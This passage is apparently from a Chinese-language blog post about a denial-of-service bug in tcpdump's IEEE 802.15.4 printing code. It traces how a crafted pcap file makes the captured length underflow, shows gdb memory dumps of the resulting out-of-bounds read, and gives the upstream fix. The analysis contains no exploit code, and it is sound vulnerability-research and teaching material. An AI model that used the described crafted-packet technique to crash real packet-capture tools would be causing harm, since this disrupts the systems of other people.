ND_PRINT((ndo, <span class="string">"[|802.15.4] %x"</span>, caplen));</span><br><span class="line"><span class="number">36.</span> <span class="keyword">return</span> caplen;</span><br><span class="line"><span class="number">37.</span> &#125;</span><br><span class="line"><span class="number">38.</span> fc = EXTRACT_LE_16BITS(p);</span><br><span class="line"><span class="number">39.</span> hdrlen = extract_header_length(fc);</span><br><span class="line"><span class="number">40.</span> seq = EXTRACT_LE_8BITS(p + <span class="number">2</span>);</span><br><span class="line"><span class="number">41.</span> p += <span class="number">3</span>;</span><br><span class="line"><span class="number">42.</span> caplen -= <span class="number">3</span>;<span class="comment">//此时caplen = 5</span></span><br><span class="line"><span class="number">43.</span> ND_PRINT((ndo,<span class="string">"IEEE 802.15.4 %s packet "</span>, ftypes[fc &amp; <span class="number">0x7</span>]));</span><br><span class="line"><span class="number">44.</span> <span class="keyword">if</span> (vflag)</span><br><span class="line"><span class="number">45.</span> ND_PRINT((ndo,<span class="string">"seq %02x "</span>, seq));</span><br><span class="line"><span class="number">46.</span> <span class="keyword">if</span> (hdrlen == <span class="number">-1</span>) &#123;</span><br><span class="line"><span class="number">47.</span> ND_PRINT((ndo,<span class="string">"malformed! "</span>));</span><br><span class="line"><span class="number">48.</span> <span class="keyword">return</span> caplen;</span><br><span class="line"><span class="number">49.</span> &#125;</span><br><span class="line"><span class="number">50.</span> <span class="keyword">if</span> (!vflag) &#123;</span><br><span class="line"><span class="number">51.</span> p+= hdrlen;</span><br><span class="line"><span class="number">52.</span> caplen -= hdrlen;</span><br><span class="line"><span class="number">53.</span> &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"><span class="number">54.</span> <span class="keyword">u_int16_t</span> panid = <span class="number">0</span>;</span><br><span class="line"><span class="number">55.</span> <span class="keyword">switch</span> ((fc &gt;&gt; <span class="number">10</span>) &amp; <span class="number">0x3</span>) &#123;</span><br><span class="line"><span class="number">56.</span> <span class="keyword">case</span> <span class="number">0x00</span>:</span><br><span class="line"><span class="number">57.</span> ND_PRINT((ndo,<span class="string">"none "</span>));</span><br><span class="line"><span class="number">58.</span> <span class="keyword">break</span>;</span><br><span class="line"><span class="number">59.</span> <span class="keyword">case</span> <span class="number">0x01</span>:</span><br><span class="line"><span class="number">60.</span> ND_PRINT((ndo,<span class="string">"reserved destination addressing mode"</span>));</span><br><span class="line"><span class="number">61.</span> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="number">62.</span> <span class="keyword">case</span> <span class="number">0x02</span>:</span><br><span class="line"><span class="number">63.</span> panid = EXTRACT_LE_16BITS(p);</span><br><span class="line"><span class="number">64.</span> p += <span class="number">2</span>;</span><br><span class="line"><span class="number">65.</span> ND_PRINT((ndo,<span class="string">"%04x:%04x "</span>, panid, EXTRACT_LE_16BITS(p)));</span><br><span class="line"><span class="number">66.</span> p += <span class="number">2</span>;</span><br><span class="line"><span class="number">67.</span> <span class="keyword">break</span>;</span><br><span class="line"><span class="number">68.</span> <span class="keyword">case</span> <span class="number">0x03</span>:</span><br><span class="line"><span class="number">69.</span> panid = EXTRACT_LE_16BITS(p);</span><br><span class="line"><span class="number">70.</span> p += <span class="number">2</span>;</span><br><span class="line"><span class="number">71.</span> ND_PRINT((ndo,<span class="string">"%04x:%s "</span>, panid, le64addr_string(p)));</span><br><span class="line"><span class="number">72.</span> p += <span class="number">8</span>;</span><br><span class="line"><span class="number">73.</span> <span class="keyword">break</span>;</span><br><span class="line"><span class="number">74.</span> &#125;</span><br><span class="line"><span class="number">75.</span> ND_PRINT((ndo,<span class="string">"&lt; "</span>);</span><br><span class="line"><span class="number">76.</span> <span class="keyword">switch</span> ((fc &gt;&gt; <span class="number">14</span>) &amp; <span class="number">0x3</span>) &#123;</span><br><span class="line"><span class="number">77.</span> <span class="keyword">case</span> <span class="number">0x00</span>:</span><br><span class="line"><span class="number">78.</span> ND_PRINT((ndo,<span class="string">"none "</span>));</span><br><span class="line"><span class="number">79.</span> <span class="keyword">break</span>;</span><br><span class="line"><span class="number">80.</span> <span class="keyword">case</span> <span class="number">0x01</span>:</span><br><span class="line"><span class="number">81.</span> ND_PRINT((ndo,<span class="string">"reserved source addressing mode"</span>));</span><br><span class="line"><span class="number">82.</span> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="number">83.</span> <span class="keyword">case</span> <span class="number">0x02</span>:</span><br><span class="line"><span class="number">84.</span> <span class="keyword">if</span> (!(fc &amp; (<span class="number">1</span> &lt;&lt; <span class="number">6</span>))) &#123;</span><br><span class="line"><span class="number">85.</span> panid = EXTRACT_LE_16BITS(p);</span><br><span class="line"><span class="number">86.</span> p += <span class="number">2</span>;</span><br><span class="line"><span class="number">87.</span> &#125;</span><br><span class="line"><span class="number">88.</span> ND_PRINT((ndo,<span class="string">"%04x:%04x "</span>, panid, EXTRACT_LE_16BITS(p)));</span><br><span class="line"><span class="number">89.</span> p += <span class="number">2</span>;</span><br><span class="line"><span class="number">90.</span> <span class="keyword">break</span>;</span><br><span class="line"><span class="number">91.</span> <span class="keyword">case</span> <span class="number">0x03</span>:</span><br><span class="line"><span class="number">92.</span> <span class="keyword">if</span> (!(fc &amp; (<span class="number">1</span> &lt;&lt; <span class="number">6</span>))) &#123;</span><br><span class="line"><span class="number">93.</span> panid = EXTRACT_LE_16BITS(p);</span><br><span class="line"><span class="number">94.</span> p += <span class="number">2</span>;</span><br><span class="line"><span class="number">95.</span> &#125;</span><br><span class="line"><span class="number">96.</span> ND_PRINT((ndo,<span class="string">"%04x:%s "</span>, panid, le64addr_string(p))));</span><br><span class="line"><span class="number">97.</span> p += <span class="number">8</span>;</span><br><span class="line"><span class="number">98.</span> <span class="keyword">break</span>;</span><br><span class="line"><span class="number">99.</span> &#125;</span><br><span class="line"><span class="number">100.</span> caplen -= hdrlen;</span><br><span class="line"><span class="number">101.</span> &#125;</span><br></pre></td></tr></table></figure>
<p>传入的第二个值是struct pcap_pkthdr *h结构体，函数使用的参数caplen就是结构体中的caplen，不难看出，caplen进行一些加减操作后，没有判断正负，直接丢给了下一个函数使用。<br>直接跟进函数，看看最后赋值情况</p>
<p>从源码和调试信息可以看到libpcap在处理不正常包时不严谨，导致包的头长度hdrlen竟然大于捕获包长度caplen，并且在处理时又没有相关的判断。hdrlen和caplen都是非负整数，导致caplen==0xfffffff3过长。<br>继续跟进hex_and_asciii_print(ndo_default_print)</p>
<figure class="highlight lsl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1.</span> void</span><br><span class="line"><span class="number">2.</span> hex_and_ascii_print(register const char *ident, register const u_char *cp,</span><br><span class="line"><span class="number">3.</span> register u_int length)</span><br><span class="line"><span class="number">4.</span> &#123;</span><br><span class="line"><span class="number">5.</span> hex_and_ascii_print_with_offset(ident, cp, length, <span class="number">0</span>);</span><br><span class="line"><span class="number">6.</span> &#125;</span><br><span class="line"></span><br><span class="line">其中length==<span class="number">0xfffffff3</span>，继续执行</span><br><span class="line"><span class="number">1.</span> void</span><br><span class="line"><span class="number">2.</span> hex_print_with_offset(register const char *ident, register const u_char *cp, register u_int length,</span><br><span class="line"><span class="number">3.</span> register u_int oset)</span><br><span class="line"><span class="number">4.</span> &#123;</span><br><span class="line"><span class="number">5.</span> register u_int i, s;</span><br><span class="line"><span class="number">6.</span> register int nshorts;</span><br><span class="line"><span class="number">7.</span></span><br><span class="line"><span class="number">8.</span> nshorts = (u_int) length / sizeof(u_short);</span><br><span class="line"><span class="number">9.</span> i = <span class="number">0</span>;</span><br><span class="line"><span class="number">10.</span> while (--nshorts &gt;= <span class="number">0</span>) &#123;</span><br><span class="line"><span class="number">11.</span> if ((i++ % <span class="number">8</span>) == <span class="number">0</span>) &#123;</span><br><span class="line"><span class="number">12.</span> (void)printf(<span class="string">"%s0x%04x: "</span>, ident, oset);</span><br><span class="line"><span class="number">13.</span> oset += HEXDUMP_BYTES_PER_LINE;</span><br><span class="line"><span class="number">14.</span> &#125;</span><br><span class="line"><span class="number">15.</span> s = *cp++; &lt;======= 抛出错误位置</span><br><span class="line"><span class="number">16.</span> (void)printf(<span class="string">" %02x%02x"</span>, s, *cp++);</span><br><span class="line"><span class="number">17.</span> &#125;</span><br><span class="line"><span class="number">18.</span> if (length &amp; <span class="number">1</span>) &#123;</span><br><span class="line"><span class="number">19.</span> if ((i % <span class="number">8</span>) == <span class="number">0</span>)</span><br><span class="line"><span class="number">20.</span> (void)printf(<span class="string">"%s0x%04x: "</span>, ident, oset);</span><br><span class="line"><span class="number">21.</span> (void)printf(<span class="string">" %02x"</span>, *cp);</span><br><span class="line"><span class="number">22.</span> &#125;</span><br><span class="line">nshorts=(u_int) length / sizeof(u_short) =&gt; nshorts=<span class="number">0xfffffff3</span>/<span class="number">2</span>=‭<span class="number">7</span>FFFFFF9‬‬‬‬</span><br></pre></td></tr></table></figure>
<p>但数据包数据没有这么长，导致了crash。</p>
<h3 id="内存分析"><a href="#内存分析" class="headerlink" title="内存分析"></a>内存分析</h3><p>仔细分析之后发现，通过len判断的这个长度并没有进行控制，如果是自己构造的一个超长len的数据包，则会连续读取到不可估计的值。<br>通过查看epx的值来看一下这个内存到底开辟到什么位置<br><figure class="highlight dns"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>. gdb-peda$ x/<span class="number">10000000</span>x <span class="number">0</span>x81e33bd</span><br><span class="line"><span class="number">2</span>. <span class="number">0</span>x8203fdd: <span class="number">0x00000000</span> <span class="number">0x00000000</span> <span class="number">0x00000000</span> <span class="number">0x00000000</span></span><br><span class="line"><span class="number">3</span>. <span class="number">0</span>x8203fed: <span class="number">0x00000000</span> <span class="number">0x00000000</span> <span class="number">0x00000000</span> <span class="number">0x00000000</span></span><br><span class="line"><span class="number">4</span>. <span class="number">0</span>x8203ffd: Cannot access memory at address <span class="number">0x8204000</span></span><br></pre></td></tr></table></figure></p>
<p>可以看到，到达0x 8204000附近的时候，就是无法读取的无效地址了，那么初始值为0x 81e33bd，用两个值相减。0x 8204000-0x 81e33bd = 0x 20c40，因为ebx+ebp*2+0x1一次读取两个字节，那么循环计数器就要除以2，最后结果为0x 10620。<br>来看一下到达拒绝服务位置读取的长度：EBX: 0x81e33bd –&gt; 0x0；EBP: 0x10621；<br>EBP刚好为10621。正是不可读取内存空间的地址，因此造成拒绝服务。</p>
<h3 id="漏洞总结"><a href="#漏洞总结" class="headerlink" title="漏洞总结"></a>漏洞总结</h3><p>总结一下整个漏洞触发过程，首先tcpdump会读取恶意构造的pcap包，在构造pcap包的时候，设置一个超长的数据包长度，tcpdump会根据len的长度去读取保存在内存空间数据包的内容，当引用到不可读取内存位置时，会由于引用不可读指针，造成拒绝服务漏洞。</p>
<h2 id="漏洞修补"><a href="#漏洞修补" class="headerlink" title="漏洞修补"></a>漏洞修补</h2><p>Libpcap依然是apt安装的默认版本，tcpdump使用4.7 .0-bp版本<br>在hex_and_ascii_print_with_offset中增加对caplength的判断<br><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">1. </span>caplength = (ndo-&gt;ndo<span class="emphasis">_snapend &gt;= cp) ? ndo-&gt;ndo_</span>snapend - cp : 0;</span><br><span class="line"><span class="bullet">2. </span>if (length &gt; caplength)</span><br><span class="line"><span class="bullet">3. </span>length = caplength;</span><br><span class="line"><span class="bullet">4. </span>nshorts = length / sizeof(u_short);</span><br><span class="line"><span class="bullet">5. </span>i = 0;</span><br><span class="line"><span class="bullet">6. </span>hsp = hexstuff; asp = asciistuff;</span><br><span class="line"><span class="bullet">7. </span>while (--nshorts &gt;= 0) &#123;</span><br><span class="line"><span class="bullet">8. </span>...</span><br><span class="line"><span class="bullet">9. </span>&#125;</span><br></pre></td></tr></table></figure></p>
<p>可以看到执行完caplength = (ndo-&gt;ndo_snapend &gt;= cp) ? ndo-&gt;ndo_snapend - cp : 0;，caplength为0，继续执行，可以推出length同样为0，到这里已经不会发生错误了。</p>
<h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://www.exploit-db.com/exploits/39875/" target="_blank" rel="noopener">exploit-db payload</a><br><a href="https://whereisk0shl.top/post/2016-10-23-1" target="_blank" rel="noopener">WHEREISK0SHL分析博客</a><br><a href="https://github.com/the-tcpdump-group" target="_blank" rel="noopener">libpcap/tcpdump源码</a></p>
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$(document).on('keyup', function (event) {
var shouldDismissSearchPopup = event.which === 27 &&
$('.search-popup').is(':visible');
if (shouldDismissSearchPopup) {
onPopupClose();
}
});
</script>
<script src="https://cdn1.lncld.net/static/js/av-core-mini-0.6.4.js"></script>
<script>AV.initialize("EWwoJgHNdlj6iBjiFlMcabUO-gzGzoHsz", "x8FxDrYG79C8YFrTww9ljo8K");</script>
<script>
function showTime(Counter) {
var query = new AV.Query(Counter);
var entries = [];
var $visitors = $(".leancloud_visitors");
$visitors.each(function () {
entries.push( $(this).attr("id").trim() );
});
query.containedIn('url', entries);
query.find()
.done(function (results) {
var COUNT_CONTAINER_REF = '.leancloud-visitors-count';
if (results.length === 0) {
$visitors.find(COUNT_CONTAINER_REF).text(0);
return;
}
for (var i = 0; i < results.length; i++) {
var item = results[i];
var url = item.get('url');
var time = item.get('time');
var element = document.getElementById(url);
$(element).find(COUNT_CONTAINER_REF).text(time);
}
for(var i = 0; i < entries.length; i++) {
var url = entries[i];
var element = document.getElementById(url);
var countSpan = $(element).find(COUNT_CONTAINER_REF);
if( countSpan.text() == '') {
countSpan.text(0);
}
}
})
.fail(function (object, error) {
console.log("Error: " + error.code + " " + error.message);
});
}
function addCount(Counter) {
var $visitors = $(".leancloud_visitors");
var url = $visitors.attr('id').trim();
var title = $visitors.attr('data-flag-title').trim();
var query = new AV.Query(Counter);
query.equalTo("url", url);
query.find({
success: function(results) {
if (results.length > 0) {
var counter = results[0];
counter.fetchWhenSave(true);
counter.increment("time");
counter.save(null, {
success: function(counter) {
var $element = $(document.getElementById(url));
$element.find('.leancloud-visitors-count').text(counter.get('time'));
},
error: function(counter, error) {
console.log('Failed to save Visitor num, with error message: ' + error.message);
}
});
} else {
var newcounter = new Counter();
/* Set ACL */
var acl = new AV.ACL();
acl.setPublicReadAccess(true);
acl.setPublicWriteAccess(true);
newcounter.setACL(acl);
/* End Set ACL */
newcounter.set("title", title);
newcounter.set("url", url);
newcounter.set("time", 1);
newcounter.save(null, {
success: function(newcounter) {
var $element = $(document.getElementById(url));
$element.find('.leancloud-visitors-count').text(newcounter.get('time'));
},
error: function(newcounter, error) {
console.log('Failed to create');
}
});
}
},
error: function(error) {
console.log('Error:' + error.code + " " + error.message);
}
});
}
$(function() {
var Counter = AV.Object.extend("Counter");
if ($('.leancloud_visitors').length == 1) {
addCount(Counter);
} else if ($('.post-title-link').length > 1) {
showTime(Counter);
}
});
</script>
<script>
(function(){
var bp = document.createElement('script');
var curProtocol = window.location.protocol.split(':')[0];
if (curProtocol === 'https') {
bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
}
else {
bp.src = 'http://push.zhanzhang.baidu.com/push.js';
}
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(bp, s);
})();
</script>
</body>
</html>
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